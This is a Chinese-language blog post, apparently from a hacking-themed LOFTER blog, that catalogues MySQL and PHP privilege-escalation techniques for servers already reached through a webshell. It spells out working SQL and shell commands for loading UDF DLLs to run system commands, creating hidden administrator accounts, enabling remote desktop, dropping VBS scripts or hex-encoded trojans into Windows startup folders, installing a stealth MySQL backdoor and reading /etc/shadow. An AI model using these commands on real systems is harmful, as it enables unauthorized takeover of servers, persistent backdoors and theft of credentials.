hack-chengyu

mysql+php的数据库提权大全

mysql+php的数据库提权大全 - 成雨 - 成雨s Blog-关注Web信息安全

 

一UDF提权

1.通过WEBSHLL找到其网站数据库的链接配置信息,一般在config.ini.php文件下;

2.通过UDF.PHP提取专用马,填好所有的数据库链接信息进行链接:

3.udf.dll的利用条件:目标系统是Windows(Win2000,XP,Win2003);

你已经拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete权限以创建和抛弃函数(MYSQL文档原语);有root账号密码。

4.上传udf.dll

a.小于mysql5.1版本

C:\\WINDOWS\\udf.dll    或    C:\\WINDOWS\\system32\\udf.dll 或C:\Windows\udf.dll 

b.等于大于mysql5.1版本

%mysql%\\plugin\\udf.dll   用 select @@plugin_dir  show variables like ‘%plugins%’查询plugin路径

默认路径: C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin\\udf.dll

如果找到mysql数据库的安装路径没有plugins目录可以添加lib/plugins目录;

Phpspy.php的Mysql上传(提示 "上传失败、原因:Result consisted of more than one row"、实际上大多数已上传成功),再连接mysql执行命令;Mysql允许外连的情况下也可以使用Hack MySQL上传,再通过命令行登陆执行命令。5.执行SQL语句

添加shell函数:create function cmdshell returns string soname ‘udf.dll’

添加用户:select cmdshell(‘net user backlion 123456  /add’);

提权用户:select cmdshell(‘net localgroup administrators backlion  /add’);

查看管理员组:select cmdshell(‘net localgroup administrators ’);

查看IP地址:select cmdshell(‘ipconfig/all ’);

查看用户:select cmdshell(‘net user ’);

开启3389: select cmdshell(‘regedit /s  d:/wwwrot/3389.reg’); 这里可以事先上传我们的开启3389的注册表到网站根目录

删除shell函数:drop function cmdshell;

二、VBS提权

二 VBS启动项提权 

在SQL命令中执行如下:

create table a (cmd text);  

insert into a values ("set wshshell=createobject (""wscript.shell"") " );  

insert into a values ("a=wshshell.run (""cmd.exe /c net user iis_user 123!@#abcABC /add"",0) " );  

insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators iis_user /add"",0) " );  

select * from a into outfile "C:\Documents and Settings\All Users\「开始」菜单\程序\启动\a.vbs"; 

先在webshell里连接上数据库,建立表,将VBS写入表里,然后导入启动项,如果UDF提权不行的话也可以尝试下这个方法,前提是要有ROOT权限,后面有个,0表示不弹出CMD窗口,安静的运行。

还可以这样写: 

create table a (cmd BLOB);  

insert into a values (CONVERT(木马的16进制代码,CHAR));  

select * from a into dumpfile ’C:\Documents and Settings\All Users\「开始」菜单\程序启动\mm.exe’  

drop table a;  

执行前3条语句,就可以将木马写进启动里了,前提是木马一定要是16进制,还有就是路径要是\,因为windows会自动过滤掉一个 

三 Linx Mysql BackDoor提权

Linx Mysql Door

Mysql BackDoor是一款针对PHP+Mysql服务器开发的后门,

该后门安装后为Mysql增加一个可以执行系统命令的"state"函数,

并且随Mysql进程启动一个基于Dll的嗅探型后门,这个后门在Windows下拥有与Mysql一样的系统权限,从而巧妙的实现了无端口,无进程,无服务的穿墙木马.

提取命令:

mysql -h localhost -uroot -p 

system useradd backlion

system password 123456

system tail -l /etc/password

system tail -l /etc/shadow

四,MIX.DLL提权


create table temp_mix(abc longblob);

insert into temp_mix values(load_file('D:\\web\\udf.dll'));

select * from temp_mix into dumpfile 'C:\\Windows\\system32\\udf.dll';

create function MyCmd returns string soname 'udf.dll';

select MyCmd('net user');

drop table if exists temp_mix;

 

前三句主要目的是把DLL放到系统目录.第4句建立函数.然后就可以执行系统命令了。

而最容易出问题的就是第4句,可以将第四句换成:insert into mysql.func values('MyCmd',0,'udf.dll','function');



 


评论
热度(4)

如果我的世界是黑暗的,那么我会用这一双眼睛去看透黑暗的尽头!
Although we do not have a password, but we do have the key

© hack-chengyu | Powered by LOFTER